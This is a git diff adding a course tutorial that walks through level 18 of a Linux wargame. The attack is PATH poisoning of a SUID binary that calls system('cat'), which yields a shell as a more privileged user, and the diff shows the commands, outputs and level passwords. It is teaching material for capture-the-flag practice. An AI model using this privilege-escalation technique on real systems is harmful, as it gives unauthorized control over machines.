diff --git a/README.md b/README.md index ccffdba..8575d3d 100644 --- a/README.md +++ b/README.md @@ -89,6 +89,8 @@ Presentations, M$Word etc, without requiring a major rework. ## Pen testing 101 + - [Path Poisoning and SUID](Tutorials/Permissions.md) Walkthrough of level18 of Linux Trainer + ## Cheat Sheets ## Other Interesting Things. diff --git a/Tutorials/NixTrainer.md b/Tutorials/NixTrainer.md new file mode 100644 index 0000000..fe2f875 --- /dev/null +++ b/Tutorials/NixTrainer.md @@ -0,0 +1,6 @@ +# Walkthrough of some of the more interesting levels on the 'Nix Trainer + +## TODOLIST + + - [ ] Level 18 Paths + diff --git a/Tutorials/Permissions.md b/Tutorials/Permissions.md new file mode 100644 index 0000000..f7e1092 --- /dev/null +++ b/Tutorials/Permissions.md @@ -0,0 +1,665 @@ +# Linux Trainer, Level 18 + +This is a writup / tutorial for Level 18 of the Linux trainer. The +level brings together several concepts, and allows us to make a +privilege (privesc) exploit, changing the current user to one with +more permissions. + +While the example is a little contrived, Privesc is a common task in +CTF (and pen testing) where we want to move from a low privileged +user (usually from our foothold), to one with greater permissions. In +a CTF it means we get more flags, in the real world it generally means +we have greater control over the system. + +The particular attack we are using here is called *path poisoning*, +and gives us a nice way of running a user controlled file, rather than +the expected system file. + +## Unix style permissions + +The first concept we will revisit is permissions: (Taken from Level 16 of the Linux Trainer) + +Access control is an important part of security. Allowing users +access to only relevant files on the OS, means that multi-user systems +can be possible. + +One way that Linux deals with Access control, is through the use of +file systems permissions. + +### Owners and Groups + +Each file has permissions for three different categories of user. + + - Each file has an *owner*, the user that the file belongs to. + - Users can be in a *group* a collection of users who should share + permissions and settings. For example users in the *sudoers* group + can use the sudo command to temporarily upgrade privileges. + - Finally the *world* category, represents all users on the system. + +### File Access permissions + +There are also three types of access permission. + + - *read*: users in this category can read the contents of this file + - *write*: users with this permission can write the contents of this file + - *execute* users with this permission can run the file + +### Viewing Permissions + +Using **ls -l**, will show the permissions of files in *long* format. +This includes information including the *access permissions* and +*owners* for the file. + +Each line of output will take the following form: + +~~~.term +-rw-r--r-- 1 dang dang 0 Nov 26 13:43 bar.txt +~~~ + +Which can be broken down into + +~~~.term +[Permissions] [Size] [Owner] [Group] [Date] [Filename] +~~~ + +### Example + +Consider the following + +~~~.term +dang@dang-laptop /tmp/demo % ls -l +total 0 +-rw-r--r-- 1 dang dang 0 Nov 26 13:43 bar.txt +-rwxr-xr-x 1 dang dang 0 Nov 26 13:43 baz.txt +-rw-r--r-- 1 ftp root 0 Nov 26 13:43 foo.txt +~~~ + +We have the files + + -**bar.txt** + - Owner / Group *dang* + - *dang* has **read** and **write** permissions + - *world / group* have **read** permissions + + - **baz.txt** + - Owner / Group *dang* + - *dang* has **read**,**write** and **execute** permissions + - *world / group* have **read** and **execute** permissions + + -**foo.txt** + - Owner *ftp* + - Group *root* + - *ftp* user has **read** and **write** permissions + - *world / group* have **read** permissions + + +So permissions give us a nice way to restrict access to files on the +system, and segreate who can access what. However... + +\clearpage{} +## The need to run commands as an Elevated user. + +![Obligatory XKCD Sudo Comic](https://imgs.xkcd.com/comics/sandwich.png) + +One of the problems with a multi user system is access control and +permissions. Giving every user administrative rights is an incredibly +bad idea, so we tend to segregate users into "Standard" accounts and +"Superusers" (root in Linux terminology). The standard user will be +limited in what they can do, to prevent malicious (or accidental) +damage to the system. + +> Its also a really bad idea, to run ANY account as Root by default, +> most of the time we shouldn't need superuser access for our day to +> day tasks, giving us another good reason to limit what people can +> do. One of the reasons I disagree with Kali's "root as default" user +> setup + +Part of the solution to this problem is to create a new group of users +who run as standard level accounts, but can run with elevated +privileges when needed. The SUDO (Super User Do) command, allows +members of this group to run a command as root. You will almost +certainly have come across SUDO before during the course, when +updating the system or running more interesting commands. + +SUDO goes some way towards solving the problem of giving users the +ability to have root privileges, without needing to be root, but +still leaves us with a dilemma. Sometimes a common program will need +to run with elevated privileges, for example if it need to access low +level system resources, or privileged information. + +Lets examine the common task of changing passwords. Evidently the file +containing the hashed passwords should be secure, and only accessible +by privileged users. However, if a user wants to change their own +password we have a problem: + + - Either the unprivileged user needs to be able to access the + password list (which makes securing it pointless) + - Everybody who may change their password needs SUDO rights. (Which + defeats the point of them in the first place) + - The user would have to give their password to the systems admin to + get it changed (Letting others know your password is also a bad thing) + +So we need some way of allowing a user to temporary elevate their +privileges to run a command. + +### Using Misconfigured services to elevate permissions + +Ironically, it is this need to temporarily elevate privileges for a +"good reason" that provides the opportunity for many privesc attacks. + +Many of these problems come through the administrator not configuring +the system correctly. This is easier that it appears, many commands +have extra functionality that changes the way it behaves, or allow us +to start secondary processes. + +## SUID to elevate permissions + +> OK: I lied when i talked about permissions earlier. As well as RWX +> there are some "special" permissions that can be used. + +We cant give everyone with SUDO rights, and setting up the individual +sudo permissions is a bit of a PITA when you get to thousands of users +or very commonly used files. + +Linux addresses this problem of everyone needing elevated privileges +by using the SUID and SGID permissions flag. This is a special +setting for the standard file permissions that allows a program to be +run with the privileges of either the Owner (SUID) or Group (SGID). + +Essentially this allows a user to run a program as a different user, +and gives admins control over who (or what) can access files. + +Lets use the passwd command as an example. This is owned by the +*root* user, meaning it can access the privileged files required, but +has the SUID bit set. This means that users can run the (well tested, +and checked for security flaws) program as root allowing them to +change their own password. + +Lets check the permissions for ```/bin/passwd``` + +~~~.term +$ ls -l /bin/passwd +-rwsr-xr-x 1 root root 63624 Jul 31 20:12 /bin/passwd +~~~ + +You can see we have the *s* flag in the Execute portion of the user. +this shows that the SUID bit is set, and the program will run with the +privileges of the user (in this case root) + +> Note: To see the elegance of 'Nix based systems, checkout the +> permissions for the sudo command. There is an octocat sticker +> whoever writes me the best explanation of whats going on here. + +Given that SUID files allow us to run commands as a privileged user, +they can often be the weak point that allows us to gain further +control of a system. It is always worthwhile to see what SUID files +are available on the system, using a tool like **find**, to look for +anything unusual that could be an entrypoint. + +\clearpage{} +## The $PATH + +When we want to run a system level command (for example ```ls```) the +OS needs to know where to find the executable we are looking for. We +have a couple of options here: + + 1. Hard Code all run-able commands (which is a silly idea, as it + means we wouldn't be able to install anything) + 1. Hard Code the place where run-able commands are stored. (a less + silly idea. However, we still lack some flexibility in where we + can place executable, and it can lead to problems with "local + user " installs, where a user can install their own version of a + program), or where programs with a lot of executable (for + example ```perl`` on my system) are used, and it makes sense to + logically separate these into their own directory. + 1. Store the possible locations of the binary in some user level + variable. This means that we get a decent level of flexibility in + the global locations our system will look for executable, whilst + also giving the user control of locations that software is + installed locally. + +The $PATH system variable tells Linux (and windows) systems where to +find executable commands. Its a really useful thing, as it allows us +to call commands like ```ls``` (/usr/bin/ls) or ```cat``` +(/usr/bin/cat) from any directory without specifying the full path. + +We can see the actual location of a binary in the fileystems using either ```which``` or ```whereis``` + +~~~ bash +$which ncat +/usr/bin/ncat + +$whereis ncat +ncat: /usr/bin/ncat /usr/share/ncat /usr/share/man/man1/ncat.1.gz +~~~ + + +When a command it called, the OS looks in each location specified in +the $PATH for the command and executes the first match it comes +across. + +> NOTE: This can be the source of trolling, I updated python on my +> system with a manually compiled version. However, the installer file +> placed it lower in the $PATH than the original python. There was +> about half an hour of Cussing, while the system kept running the old +> version. + +$PATH consists of a list of locations separated by colons, For example +the $PATH on my system looks like this + +~~~ bash +$echo $PATH +/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/lib/jvm/default/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl +~~~ + +Therefore when I call a command, the system looks in: + + - ```/usr/local/sbin``` + - ```/usr/local/bin``` + - ```/usr/bin``` + - ... + - ```/usr/bin/core_perl``` + +As we step through each directory, if the request file is found it is executed and the search ends. +Lets say we are looking for ```ncat``` (which lives in /usr/bin) we get: + + - ```/usr/local/sbin``` (Fails) + - ```/usr/local/bin``` (Fails) + - ```/usr/bin``` (Success, Run command and Exit) + +> NOTE: As a point of interest, this is why we usually have to run +> ./ if we are executing a file in the current working +> directory. +> +> If we specify a full path (either absolute or relative) to the +> file. The OS will look in that location (and only that +> location). Otherwise, the OS makes use of the $PATH variable to look +> for the relevant file. As the current directory is unlikely to be +> in the $PATH, then the system is unable to find the command. We +> also know that "." is a special path, representing the current +> directory. Therefore "./" is an (relative) path, which +> means that the current directory it the first and only place we +> look. + + +### Modifying the path. + +As a system variable, we can modify the path in user space. There are two ways of doing this: + +The first approach is to use the EXPORT command to set the path for that terminal session. + +~~~.term +EXPORT PATH= +~~~ + +So to set the $PATH to be ```/tmp``` we could use ```EXPORT +PATH=/tmp``` + +We hit our first Gotcha here. This command will set the $PATH to be +only ```tmp```, which means all the usual places are removed and the +OS cannot find anything. A much better approach is to *prepend* the +desired directory to the current path using + +~~~.term +EXPORT PATH=:$PATH + +#For example prepend /tmp +EXPORT PATH=/tmp:$PATH +~~~ + +The other approach is to set the path on a "per command" basis. I +much prefer this as it means we are not leaving traces of the modified +path lying around for the blue team to find. We can do this by +calling the PATH string before our command. + +~~~ +PATH=/tmp:$PATH +~~~ + +\clearpage{} +# Putting it all Together. + +We have introduced a load of concepts there. Lets put them together +and see how we can make use of them to exploit a system. + +For this I will walk through level18 on the Linux trainer. + + - username: level18 + - password: 0ad360e45e0ab518ed1c01dc5bfdde20 + +~~~ +$ ssh level18@172.17.0.3 +level18@172.17.0.3's password: +Linux 18f7df960aa1 5.3.5-arch1-1-ARCH #1 SMP PREEMPT Mon Oct 7 19:03:08 UTC 2019 x86_64 +###################################################################### + +CUEH Linux Tranier V0.1 + +A war game style challenge to help you learn the basics of the Linux +command line. + +The Documentation for (almost) every level is contained within a man +page. You can view this using the command **man** + +For example, to see the documetation for level1 type + +$man level1 + + +comments, or suggestions for levels to aa9863@coventry.ac.uk + +Have fun. +##################################################################### +level18@18f7df960aa1:~$ +~~~ + +## Finding the Vulnerable File: Permissions + +If we look at the contents of the current directory, we see what we have to work with. + +~~~ +level18@18f7df960aa1:~$ ls -l +total 32 +-r-------- 1 elev18 elev18 36 Apr 23 09:52 File.txt +-r-------- 1 elev18 elev18 64 Apr 23 09:52 Pass.txt +---s--x--x 1 elev18 level18 16624 Apr 23 09:52 runme +-rwxr--r-- 1 level18 level18 141 Apr 23 09:52 source.c +level18@18f7df960aa1:~$ +~~~ + +Paying attention to the permissions here we have: + + - two files that we cannot access: + - A text file called ```File.txt``` that is Owned (and only + readable) by the *elev18* user + - A text file called ```Pass.txt``` that is Owned (and only + readable) by the *elev18* user + - An executable ```runme```, which is owned by the *elev18* user, + and will run with SUID permissions. + - The source code for our Runme program ```source.c``` which we can + read. + +Awesome, we have the first piece of our puzzle. Executable with SUID +permissions, that *may* (and as its a CTF box, its likely), have a +vulnerability. + +Lets run the program and see what happens. + +~~~ +level18@18f7df960aa1:~$ ./runme +Attempting to access file: +Access Pass.txt to get the password +~~~ + +So, the program output shows the code access a file, then displays a +help message to push us in the right direction. + +## Looking at the source + +Next lets examine the source code for the binary in ```source.c``` +(OK, we wont usually find the source, but this is the first couple of +weeks, so I am being generous, We could however use ```strings``` or +```objdump``` to try to work out what is going on) + +~~~.c +level18@18f7df960aa1:~$ cat source.c +#include +#include + +void main(void){ + printf("Attempting to access file:\n"); + system("cat /home/level18/File.txt"); +} + +~~~ + +If we cross reference that against the output of the program, its +clear what is going on. + + - ```printf("Attempting to access file:\n");``` Display a message to the screen + - ```system("cat /home/level18/File.txt");``` Use the dreaded ```system``` call to access a file. + +Now, our developer has done something right, by hard-coding the address +of the file we are trying to access. However, they have made a +mistake in the way the ```cat``` function is being called. By not +specifying a full path to the file, they are relying on the OS using the +$PATH to find the program. As we can control the $PATH, then we may +have a way to modify the behaviour of the code. + +> NOTE: This isn't something you will find *that* often. +> However, sometimes a developer try's to make the program "platform +> independent" (as there is still no agreement on which /bin directory +> things go in), which gives us a way in. + +Therefore our proof of concept attack looks something like this: + + 1. Create our own version of ```cat```, that does something interesting + 1. Modify the $PATH so our version of ```cat``` is the first one that is found + 1. ..... + 1. Profit + +## Getting A Cat to do what we want it to do + +Before we drop a shell, lets create a less evil cat (Mr tiddles) to +help illustrate what is going to happen. + +We create the file in the */tmp* directory (You can use anywhere, but +/tmp is a good habit to get into, firstly it gets wiped on reset, and +secondly on CTF's like hack the box, its less likely to be interfered +with than doing it in user. Personally, on HTB I do most of my work in +/tmp/.dang/) + +We pick a command such as ```id``` and add it to a file called ```/tmp/cat``` + +~~~ +#Find the full path to id +level18@18f7df960aa1:~$ which id +/usr/bin/id + +#Echo it to a file. Quotes are important here! (You could also use Nano) +level18@18f7df960aa1:~$ echo "/usr/bin/id" > /tmp/cat + +#Check that things worked properly +level18@18f7df960aa1:~$ cat /tmp/cat +/usr/bin/id +~~~ + +We then make our new version of cat executable, and check it works as expected. + +~~~ +level18@18f7df960aa1:~$ chmod +x /tmp/cat +level18@18f7df960aa1:~$ /tmp/cat +uid=1019(level18) gid=1019(level18) groups=1019(level18) +level18@18f7df960aa1:~$ +~~~ + +> NOTE: If you have any experience with Cats for the furry kind, This +> is probably the first time a cat has actually done what you want it +> to. + +Cool, so we have a program called *cat* that runs the *id* command. +Now lets try running it with a modified path, where the ```/tmp``` is the first location + +~~~ +level18@18f7df960aa1:~$ PATH=/tmp:$PATH cat +uid=1019(level18) gid=1019(level18) groups=1019(level18) +level18@18f7df960aa1:~$ +~~~ + +Or alternatively, perma setting the $PATH +~~~ +level18@18f7df960aa1:~$ export PATH=/tmp:$PATH +level18@18f7df960aa1:~$ cat +uid=1019(level18) gid=1019(level18) groups=1019(level18) +~~~ + +So whats happening here: + + 1. Cat command is called, as no path is specified the OS uses the system $PATH + 1. First place in the $PATH is ```/tmp``` Which contains a program called ```cat``` + 1. OS runs this version of ```cat``` and stops its search, without + going anywhere near the intended program. + + +We can now check what happens if we run our vulnerable file, using the modified version of cat, and $PATH + +~~~ +$ PATH=/tmp:$PATH ./runme +Attempting to access file: +uid=1019(level18) gid=1019(level18) euid=1020(elev18) groups=1019(level18) +level18@18f7df960aa1:~$ +~~~ + +This time, we have different behaviour from the ID command, which +displays the **euid** (Effective User Id) as elev18. +Cool, so we are now able to run the ```id``` command as a different user. + +## Getting a shell + +It would be no fun if we didn't use our exploit to get a shell. + +We modify ```/tmp/cat``` to call ```/bin/sh``` shell (NOTE: +/bin/bash will not work. You may want to check the manpage for system +to work out why this is.) + +~~~ +level18@18f7df960aa1:~$ cat /tmp/cat +/bin/sh +~~~ + +Now in theory, our program will + + - Search the path for ```cat``` + - Find our evil version in ```/tmp``` + - Execute the contents of the file as the *elev18* user + - Which means we get a new shell as the *elev18* user + +~~~ +level18@18f7df960aa1:~$ PATH=/tmp:$PATH ./runme +Attempting to access file: +$ whoami +elev18 +$ id +uid=1019(level18) gid=1019(level18) euid=1020(elev18) groups=1019(level18) +~~~ + +We get the *sh* prompt ($) and can confirm we are the *elev18* user with whoami. + +### Reading the file from our privileged shell, The problem of nested Cats + +There is a final bit of Trolling / Learning before we can access the flag file. + +You may notice if we try to access the file using ```cat``` as we have before, nothing happens + +~~~ +$ ls +File.txt Pass.txt runme source.c +$ cat Pass.txt +$ +~~~ + +This is (again) due to the $PATH. As we have set it per command +session then ```/tmp``` remains at the start of the path. Therefore +any call to cat will call our evil version at ```/tmp/cat```, which +then drops another ```sh``` shell. + +You can see from the process list, that after a couple of times, we have several shell processes spawned. +~~~ +USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND +elev18 48 0.0 0.0 4168 588 pts/0 S 21:20 0:00 ./runme +elev18 49 0.0 0.0 4276 792 pts/0 S 21:20 0:00 sh -c cat /home/level18/File.txt +elev18 50 0.0 0.0 4276 752 pts/0 S 21:20 0:00 /bin/sh /tmp/cat /home/level18/F +elev18 51 0.0 0.0 4276 736 pts/0 S 21:20 0:00 /bin/sh +elev18 55 0.0 0.0 4276 744 pts/0 S 21:23 0:00 /bin/sh /tmp/cat Pass.txt +elev18 56 0.0 0.0 4276 744 pts/0 S 21:23 0:00 /bin/sh +elev18 58 0.0 0.0 36632 2844 pts/0 R+ 21:25 0:00 ps -ux +$ +~~~ + +We can work around this in several ways. Either using an alternative +program (such as less or nano) to access the flag file, of make a call +to the original version of cat using a full path + +~~~ +$ whereis cat +cat: /bin/cat /tmp/cat /usr/share/man/man1/cat.1.gz +$ /bin/cat Pass.txt +Password for the next level is 84d284bda556887dfe827bb9ddba6cc1 +$ +~~~ + +# Summary: + +This was a walkthrough of Level 18 of the Linux trainer, and the +Theory behind the attack + +Path poisoning is where we take advantage of a poorly written program +and modify its behaviour. It occurs because the developer has not +hard coded paths to executable, instead relying on the systems $PATH +variable to find the desired program. + +As the $PATH is controllable by the user, we can change where the OS +looks for the system command the developer was wanting to call. + +By creating our own version of the system command, and putting its +location at the start of the $PATH, we can get the OS to execute other +programs, this will usually be a shell, but could also be used to get +data from protected parts of the system, or other such fun things. + +We also took advantage of the binary having the SUID bit set to get an +elevated shell, running as a different user. + +Our proof of concept for the Exploit was + + 1. Identify Interesting Binaries on the file system + - Those with SUID bit set + - Those that make use of the System() call + 1. Check these for Vulnerabilities + - Non hardcoded paths for System + 1. Create a modified version of the command in the System() call + - In this case it was ```cat``` + 1. Run our program using a modified path to call our version of the command + 1. Profit + +\clearpage{} +# Trolled by Permissions: An Alternate approach to getting the flag + +To demonstrate how easy it is to make the mistakes that allow people +to access restricted files, try the following: + +~~~ +#Delete File +level18@18f7df960aa1:~$ rm File.txt +rm: remove write-protected regular file 'File.txt'? y + +#Overwrite with Pass.txt +level18@18f7df960aa1:~$ mv Pass.txt File.txt + +#Check permissions and Access +level18@18f7df960aa1:~$ ls -l +total 28 +-r-------- 1 elev18 elev18 64 Apr 23 09:52 File.txt +---s--x--x 1 elev18 level18 16624 Apr 23 09:52 runme +-rwxr--r-- 1 level18 level18 141 Apr 23 09:52 source.c +level18@18f7df960aa1:~$ cat File.txt +cat: File.txt: Permission denied +level18@18f7df960aa1:~$ + +#Run our Program +level18@18f7df960aa1:~$ ./runme +Attempting to access file: +Password for the next level is 84d284bda556887dfe827bb9ddba6cc1 +level18@18f7df960aa1:~$ +~~~ + +So even though we don't have permission to delete, or modify File.txt +or Pass.txt, we are able to. Why is this?? + +Read about the inode permissions on directory's and try to find out. + +# Further Reading. + +- [Linux.com article on Permission](https://www.linux.com/learn/understanding-linux-file-permissions) +- [Pentester Lab article on SUID and Find](https://pentestlab.blog/tag/find/) +- [GTFO bins](https://gtfobins.github.io/) An excellent resource of binaries useful for privilege escalation, and escaping restricted environments. +